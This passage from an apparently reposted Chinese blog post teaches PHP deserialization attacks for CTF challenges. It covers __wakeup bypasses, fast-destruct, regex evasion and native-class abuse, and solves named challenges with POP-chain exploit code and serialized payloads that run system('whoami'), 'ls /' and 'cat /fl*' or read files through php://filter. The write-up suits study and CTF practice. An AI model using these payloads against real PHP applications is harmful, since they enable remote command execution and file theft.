最后再把PHPSESSID的值设为我们exp中的PHPSESSID的值,正常访问

在这里插入图片描述

拿到flag

其他小知识

__wakeup绕过

__wakeup也是一种魔术方法, 调用**unserialize()时 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。 **_wakeup()方法的目的是在反序列化后执行一些特定的操作,以还原对象的状态或执行其他必要的逻辑。在ctf中,会用__wakeup修改变量,阻止pop链的起点触发,如:

<?php
highlight_file(__FILE__);
class Man
{
        public $name;
  function __wakeup()
  {
     echo "wakeup is call";
     $this->name='phpinfo();';
  }
  function __destruct()
  {
     eval($this->name);
  }

}
unserialize($_GET['a']);
?>

这里的__wakeup会把name修改为phpinfo,传入的序列化字符串中即使有其他命令也无法执行,如

在这里插入图片描述

看起来很安全,其实也有绕过的方法

修改变量数

要求版本:PHP5 < 5.6.25、PHP7 < 7.0.10

当序列化字符串中属性值大于属性个数,就会导致反序列化异常,被PHP当作垃圾回收,提前触发__destruct__(也叫fast-desturct),从而跳过__wakeup(),

这里一道经典题为例子:[极客大挑战 2019]PHP

源码:

index.php
<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>
        
class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}
?>

可以看到,Name类中,读取flag需要username为admin,但是__wakeup方法会把username变为guest,需要绕过,两个变量是private属性,需要url编码

在这里插入图片描述

F12看到php版本为5.3,修改属性值就行,

在这里插入图片描述

把2改为3

O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

在这里插入图片描述

成功

使用引用

这个方法的条件是:1.类中有多个变量 2.在触发点函数中使用或赋值了变量

修改一下上面的demo

highlight_file(__FILE__);
class Man
  {
        public $info;
        public $name;
  function __wakeup()
  {
     echo "wakeup is call";
     $this->name='';
  }

  function __destruct()
  {
     $info='helloworld';
     if ($name)
     {
             echo file_get_contents("flag.php");
     }
  }
unserialize($_GET['a'];

如果要读取flag,name不能为空,可是name在__wakeup方法中就被置为空,可以利用变量引用绕过,变量引用就是使用&符号,如,$a=&$b;a被赋值为b的引用,那么 a , a, a,b,实际指向同一块内存,修改其中一个,另外一个也会随之改变

在exp中,这样写

$a=new Man();
$a->info=&$a->name;
echo serialize($a);

把info设置为name的引用,它们使用同一块内存,在__wakeup中即使name被置为空,但在__destruct中info又被赋予了值,name的值也同样被改为helloworld,就能成功读取flag

所以利用条件为:1.类中有多个变量 2.在触发点函数中使用或赋值了变量

在这里插入图片描述

fast-destruct

利用条件:__destruct__wakeup不在同一个类

demo

<?php
highlight_file(__FILE__);
class A
{
    public $info;
    private $end = "1";

    public function __destruct()
    {
        $this->info->func();
    }
}
class B
{
    public $end;
    public function __wakeup()
    {
        $this->end = "exit();";
        echo '__wakeup';
    }
    public function __call($method, $args)
    {
        eval($this->end);
    }
}
unserialize($_POST['data']);

如果传正常payload,会触发B的__wakeup,导致命令无法执行,可是如果破坏一下序列化数据结构,导致B对象不能被正常还原,出现了异常,php会把这个不正常的数据当做垃圾销毁回收,提前触发__destruct,原本的方法执行顺序改变,B的__wakeup的执行被延后

正常          	   ->O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";s:10:"phpinfo();";}s:3:"end";s:1:"1";}
减少闭合}      	   ->O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";s:10:"phpinfo();";}s:3:"end";s:1:"1";
增加;         	   ->O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";s:10:"phpinfo();";}s:3:"end";s:1:"1";;}
修改表示长度的值      ->O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";s:10:"phpinfo();";}s:6:"end";s:1:"1";} #3改为了6

最后一个修改表示长度的值影响版本是:7.4.x -7.4.30,8.x,大佬文章:https://github.com/php/php-src/issues/9618

在这里插入图片描述

在本地测试时发现一个小问题,就是如果__wakeup里只有一个die,那么这个die执行了,反序列化还是会完整进行,能够执行命令,不知道是不是我的demo问题,求大佬告知

在这里插入图片描述

throw Exception绕过

如果在反序列化后,主动抛出一个异常,__destuct不会被执行,在上面__wakeup的demo,最后加上 throw new Exception(“No!”);

在这里插入图片描述

如果正常传入,会爆出异常,无法执行

fast-destruct的破坏数据结构的方法可以绕过,结束

非公有属性绕过

对于private,protected等属性,为与public属性区分开,php在序列化private属性时,会在属性名前加上\0(对象类名)\0,protected会在属性名前加上\0*\0,\0是不可见字符,无法直接打印出来,url编码为%00后,方可显示,如:

在这里插入图片描述

对于php版本7.1+,像我本地的7.3.4,反序列化对象的某个属性时,即使这个属性是private或protected,遇到的是公有属性序列化字符串,也会成功反序列化,如:

在这里插入图片描述

如果版本不符,就只能通过url编码传入数据

正则匹配序列化绕过

这一个知识点我还没遇到过(刷题太少,玩星穹太多导致的),借鉴大佬的文章来学习:https://blog.csdn.net/m0_64815693/article/details/127982134,以后做题有遇到再补充

preg_match(‘/^O:\d+/’)

这个就是匹配字符串开头是不是O:,且:后面第一个字符是不是数字,正常序列化对象字符串都是,写exp时,我们可以把对象放入一个数组中再序列化,反序列化会先还原数组,再还原对象,两个过程互不干扰,这样序列化字符串开头就是a:\d,绕过这个正则,如:

$a=new Man();
$b=array($a);
echo serialize($b);
结果
a:1:{i:0;O:3:"Man":3:{s:4:"name";s:5:"hello";s:4:"info";s:5:"wrold";s:3:"age";i:10;}}

在这里插入图片描述

大佬及网上的其他文章都介绍了另一种方法,就是O:后的数字前加上+,如O:+3,但我在本地实验时,这个方法会报错,导致反序列化失败,应该是php版本问题

preg_match('/^[Oa]:\d+/')

如果是这样匹配,转为array没办法绕过,可以尝试转为C,查阅资料得知,C表示的用户自定义类,但我们利用的明明是php的原生类,具体原理可看上面大佬的另一个文章,https://blog.csdn.net/m0_64815693/article/details/130038356

我简单记录一下利用方法,1.首先找所有实现了serialize接口的类,如下:

ArrayObject
ArrayIterator
RecursiveArrayIterator
SplDoublyLinkedList
SplQueue
SplStack
SplObjectStorage

选择上面的一个类,生成实例对象,随便赋值一个属性为我们pop链的起点类即可,exp:如下

$a=new A();
$a->info=new B();
$c=new ArrayObject();
$c->a=$a;
echo serialize($c);
// C:11:"ArrayObject":117:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";s:17:"system('whoami');";}s:3:"end";s:1:"1";}}}  

这个方法只能绕过正则,wakeup和异常无法绕过

在这里插入图片描述

类名大小写不敏感

php反序列化对类名的大小写不敏感,在我有类A和类B的demo中,传下面的字符串也能成功

O:1:"a":2:{s:4:"info";O:1:"b":1:{s:3:"end";s:17:"system('whoami');";}s:3:"end";s:1:"1";}

16进制绕过关键字检测

在这里插入图片描述

序列化中表示字符串的s,如果为大写,后面跟十六进制数据,在反序列化时也能成功读取

原生类利用

php有一些原生类可以用来扫描目录或读取文件,但php4.3之后,这些原生类被禁止用serialize或unserialize来处理,除非题目能主动生成这个对象,所以感觉用处有限,就先简单记录一下这些原生类的使用,以后遇到相关题型再来补充

从这篇大佬的文章来学习:https://blog.csdn.net/qq_39947980/article/details/136723533

能扫目录的三个类

DirectoryIterator(支持glob://协议),如:DirectoryIterator(glob://*flag*)
FilesystemIterator(继承自1,同上),也可以直接输入路径,如:new FilesystemIterator('./')
GlobIterator(相等于自带glob协议的DirectoryIterator)

存在toString方法,直接echo 只能打印第一个文件,foreach遍历可以打印所有文件

在这里插入图片描述

文件读取类

SplFileObject :存在toString方法,同目录扫描类,直接echo返回第一行内容,遍历才能读取所有内容,或者配合伪协议读取文件

在这里插入图片描述

题目实战

反序列化题目代码都挺长的,只复制关键部分过来

网鼎杯 2020 青龙组AreUSerialz

关键部分,这一题只有一个类,可以利用的关键部分如下:

private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

利用file_get_contents获取flag,源码提示就在flag.php因此控制filename为flag.php即可,考点在这里:

public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

process和__destruct这两个地方,把op设为数字2即可,php弱类型比较是相等的

is_valid这个函数检查序列化字符串是不是都是有效字符,题目类的属性都是protect,如果直接用url编码输出,%00就是\0,无法通过检查,看看题目php版本

在这里插入图片描述

7.4.3,直接把类的属性都改为public即可,最后payload

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

在这里插入图片描述

[GDOUCTF 2023]反方向的钟

题目在nssctf平台:https://www.nssctf.cn/problem/3723

题目关键部分:

class school{
    public $department;
    public $headmaster;
    public function __construct($department,$ceo){
        $this->department = $department;
        $this->headmaster = $ceo;
    }
    public function IPO(){
        if($this->headmaster == 'ong'){
            echo "Pretty Good ! Ctfer!\n";
            echo new $_POST['a']($_POST['b']);
        }
    }
    public function __wakeup(){
        if($this->department->hahaha()) {
            $this->IPO();
        }
    }
}
if(isset($_GET['d'])){
    unserialize(base64_decode($_GET['d']));
}
?>

源码提示flag.php,且在schoo类中的IPO方法中,有帮我们new 对象,那就考虑原生类SplFileObject读取flag,

很简单的pop链,school:__wakeup->classrom:haha ->classrom->name=new teahcher('ing','department') ->school:IPO

exp:

$a=new school();
$a->department=new classroom();
$a->department->name='one class';
$a->department->leader=new teacher('ing','department');
$a->headmaster='ong';
echo base64_encode(serialize($a));

在这里插入图片描述

在这里插入图片描述

[GHCTF 2024 新生赛]ezzz_unserialize

题目在nssctf平台:https://www.nssctf.cn/problem/5162

题目关键部分:

class Heraclqs{
    public $grape;
    public $blueberry;
    public function __invoke(){
        //blueberry=aW8
        if(md5(md5($this -> blueberry)) == 123) {
            return $this -> grape -> hey;
        }
    }
}

这里需要blueberry两次md5后,以123开头,要跑脚本,大佬脚本如下

import hashlib
import itertools

def brute_force_md5():
    # 使用字母表和数字进行字符的尝试
    charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    
    # 迭代尝试所有可能的字符组合
    for text in itertools.product(charset, repeat=3):
        text = ''.join(text)
        hash1 = hashlib.md5(text.encode()).hexdigest()
        hash2 = hashlib.md5(hash1.encode()).hexdigest()
        # 检查是否满足条件
        if hash2.startswith("123") and hash2[3].isalpha():
            # 输出满足条件的字符串
            print("满足条件的字符串:", text + "(两次MD5加密后为:" + hash2 + ")")
            break

# 运行爆破
brute_force_md5()

构造pop链时,可能有多个类的都有同样符合的触发条件的魔术方法,要选能简单利用的

pop链的终点选为这个类

class E{
    public $e;
    public function __get($arg1){
        array_walk($this, function ($Monday, $Tuesday) {
            $Wednesday = new $Tuesday($Monday);
            foreach($Wednesday as $Thursday){
                echo ($Thursday.'<br>');
            }
        });
    }
}

array_walk就是遍历对象或数组,对其中的元素应用传入的回调方法,然后回调方法中有new 生成对象,所以一样用原生类来做,而且有foreach,扫描目录能获得完整信息

exp:

$a=new Sakura();
$a->apple=new UkyoTachibana();
$a->apple->banana=new BasaraKing();
$a->apple->banana->orange=new Heraclqs() ;
$a->apple->banana->orange->blueberry='aW8';
$a->apple->banana->orange->grape=new E();
#扫描根目录
$a->apple->banana->orange->grape->DirectoryIterator='/';
#读取flag
$a->apple->banana->orange->grape->SplFileObject='php://filter/read=convert.base64-encode/resource=/1_ffffffflllllagggggg';

读取flag时还是习惯性的用了过滤器

在这里插入图片描述

在这里插入图片描述

newstarctf2023 more fast

buu上的,源码关键部分

$a = @unserialize($_POST['fast']);
throw new Exception("Nope");

题目也提示more fast,所以这题直接破坏数据结构,fast-destruct就ok

exp:

$a= new Start();
$a->errMsg=new Crypto();
$a->errMsg->obj=new Reverse();
$a->errMsg->obj->func=new Pwn();
$a->errMsg->obj->func->obj=new Web();
$a->errMsg->obj->func->obj->func='system';
$a->errMsg->obj->func->obj->var='ls /';
echo serialize($a);
#正常
O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}
#少一个},fast-destruct
O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}
#通配符绕过正则,读取flag
O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:8:"cat /fl*";}}}}}

!在这里插入图片描述

在这里插入图片描述

Web_php_unserialize

来自攻防世界

这一题源码不长:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

flag应该就在fl4g.php,要绕过__wakeup,还有正则,这个正则就是匹配了O,C:后跟一个数字,可以在用O:+4绕过,由于不是匹配开头,无法用数组绕过

看看php版本,能不能修改属性过__wakeup

在这里插入图片描述

版本正确,可以修改,exp如下:

class Demo { 
    private $file = 'fl4g.php';
    
}
$a=new Demo();
$str=str_replace("O:4","O:+4",serialize($a));
$str=str_replace(':1:',':4:',$str);
echo base64_encode($str);

!在这里插入图片描述

成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/540448.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Golang | Leetcode Golang题解之第19题删除链表的倒数第N个结点

题目&#xff1a; 题解&#xff1a; func removeNthFromEnd(head *ListNode, n int) *ListNode {dummy : &ListNode{0, head}first, second : head, dummyfor i : 0; i < n; i {first first.Next}for ; first ! nil; first first.Next {second second.Next}second.N…

谷歌推出适用于安卓设备的“Find My Device”网络,功能类似苹果Find My

谷歌今日推出了适用于安卓设备的“Find My Device”网络&#xff0c;其功能类似于苹果的“Find My”网络&#xff0c;旨在帮助用户定位丢失、被盗的安卓产品。 安卓的“Find My Device”网络可以利用数以亿计运行 Android 9 或更高版本的安卓设备&#xff0c;通过蓝牙信号追踪丢…

Golang ProtoBuf 初学者完整教程:语法

一、编码规范推荐 1、文件名使用小写下划线的命名风格&#xff0c;例如 lower_snake_case.proto 2、使用 2 个空格缩进 3、包名应该和目录结构对应 4、消息名使用首字母大写驼峰风格(CamelCase)&#xff0c;例如message StudentRequest { ... } 5、字段名使用小写下划线的风格…

内网通如何去除广告,内网通免广告生成器

公司使用内网通内部传输确实方便&#xff01;但是会有广告弹窗推送&#xff01;这个很烦恼&#xff01;那么如何去除广告呢&#xff01; 下载&#xff1a; 链接&#xff1a;https://pan.baidu.com/s/1CVVdWexliF3tBaFgN1W9aw?pwdhk7m 提取码&#xff1a;hk7m ID&#xff1a;…

数据结构之来链表——单链表

什么是单链表&#xff1a; 文字说明&#xff1a; 单链表顾名思义&#xff0c;就是指单项链表&#xff0c;即只有一个方向的链性线性表。 图解&#xff1a; 如下图所示&#xff0c;即为链表&#xff08;DATA为我们自己所定义的数据类型&#xff09;&#xff1a; 单链表的创建&am…

酷柚易讯无人共享空间单开版安装说明

1、安装环境准备 PHP环境7.4 mysql数据库需要5.7 同时需要安装宝塔面板&#xff08;&#xff57;&#xff57;&#xff57;&#xff0e;&#xff42;&#xff54;&#xff0e;&#xff43;&#xff4e;&#xff09; &#xff12;、获取系统安装包 联系工作人员获取安装包后…

面试:线程和线程池

目录 目标 一、线程有哪些状态 1、新建态&#xff08;NEW&#xff09;&#xff1a; 2、可运行态&#xff08;RUNNABLE&#xff09;&#xff1a; 3、终结态&#xff08;TERMINATED&#xff09;&#xff1a; 4、阻塞态&#xff08;BLOCKED&#xff09;&#xff1a; 5、等待态…

springboot3使用自定义注解+AOP+redis优雅实现防重复提交

⛰️个人主页: 蒾酒 &#x1f525;系列专栏&#xff1a;《spring boot实战》 &#x1f30a;山高路远&#xff0c;行路漫漫&#xff0c;终有归途 目录 写在前面 实现思路 实现步骤 1.定义防重复提交注解 2.编写一个切面去发现该注解然后执行防重复提交逻辑 3.测试 …

VNC Viewer 连接远程主机及常见错误处理(The connection closed unexpectedly)

搭建可接收vnc连接的环境 1、下载镜像 https://github.com/fcwu/docker-ubuntu-vnc-desktop 该镜像是含有ubuntu 通过docker运行的桌面环境&#xff0c;并接受vnc 的连接 docker pull dorowu/ubuntu-desktop-lxde-vnc 2、运行容器 1&#xff09;只暴露容器的80端口&#…

1.汉诺塔问题

C力扣 汉诺塔 class Solution { public:void hanota(vector<int>& a, vector<int>& b, vector<int>& c) {dfs(a,b,c,a.size());}void dfs(vector<int>& a, vector<int>& b, vector<int>& c,int n){if(n1){c.push…

李廉洋;4.13黄金,原油最新资讯,下周一盘走势分析及策略。

美国杜克大学大宗商品研究教授Harvey表示&#xff0c;目前除了避险情绪外&#xff0c;“上涨惯性”也是促使黄金“疯涨”的原因。他表示&#xff1a;“目前不断涌入黄金市场的资金实际上在增加风险敞口&#xff0c;除了散户&#xff0c;对冲基金和其他机构投资者也加入了黄金热…

股票价格预测 | Python使用LSTM预测股票价格

文章目录 效果一览文章概述代码设计效果一览 文章概述 Python使用LSTM预测股票价格 代码设计 import pandas as pd import matplotlib.pyplot as plt import numpy as np import tensorflowfrom numpy import

【Jenkins】Jenkins自动化工具介绍

目录 技术背景常规的手动打包步骤 Jenkins简介起源与发展Jenkins的核心价值1.自动化1.1代码构建1.2测试自动化1.3自动部署 2.持续集成与持续部署CI/CD的概念如何减少集成问题更快速地发布软件版本 Jenkins优势Jenkins的主要竞争对手Travis CI:CircleCI:GitLab CI: Jenkins与其他…

Go操作Kafka之kafka-go

Kafka是一种高吞吐量的分布式发布订阅消息系统&#xff0c;本文介绍了如何使用kafka-go这个库实现Go语言与kafka的交互。 Go社区中目前有三个比较常用的kafka客户端库 , 它们各有特点。 首先是IBM/sarama&#xff08;这个库已经由Shopify转给了IBM&#xff09;&#xff0c;之…

WebGL 2.0相较于1.0有什么不同?

作者&#xff1a;STANCH 1.概述 WebGL 1.0自推出以来&#xff0c;已成为广泛支持的Web标准&#xff0c;既能跨平台&#xff0c;还免版税。它通过插件为Web浏览器带来高质量的3D图形&#xff0c;这是迄今为止市场上使用最广泛的Web图形&#xff0c;并得到Apple&#xff0c;Goog…

Arduino _按键点亮——led

int8_t led_pin13;int8_t led2_pin12; void setup() {// put your setup code here, to run once:pinMode(led_pin, INPUT);//输入pinMode(led2_pin, OUTPUT);//输出 }void loop() {// put your main code here, to run repeatedly:if(digitalRead(led_pin)1){//digitalRead(…

智慧校园平台解决方案-迎新管理系统

数字迎新管理系统是整个智慧校园不可缺少的一部分&#xff1b;主要是为了方便学校优化迎新流程&#xff0c;规范迎新流程&#xff0c;高效率的迎新&#xff0c;减少学生迎新繁琐流程。现阶段自友科技数字迎新利用了网络方式在网上即可提前知道迎新流程&#xff0c;学生家长在手…

【python】python饮料销售数据分析可视化(源码+数据集)【独一无二】

&#x1f449;博__主&#x1f448;&#xff1a;米码收割机 &#x1f449;技__能&#x1f448;&#xff1a;C/Python语言 &#x1f449;公众号&#x1f448;&#xff1a;测试开发自动化【获取源码商业合作】 &#x1f449;荣__誉&#x1f448;&#xff1a;阿里云博客专家博主、5…

高效保护,无粉乳胶手套助您安心工作

在快节奏的现代生活中&#xff0c;我们每天都在与各种细菌、污染物和化学品打交道&#xff0c;因此保护我们的身体健康变得愈发重要。特别是在工作环境中&#xff0c;手部是最容易受到伤害和污染的部位之一。为了提供最佳的保护&#xff0c;优斯特推出了一款高品质的无粉乳胶手…

Web3 的社会影响:数字社会的新时代

随着科技的不断进步和创新&#xff0c;人类社会正逐步进入数字化时代的新阶段。Web3 技术作为数字社会的重要组成部分&#xff0c;正在以前所未有的方式重塑着我们的社会生活和交往方式。本文将探讨 Web3 技术对社会的影响&#xff0c;以及它所带来的数字社会的新时代。 1. Web…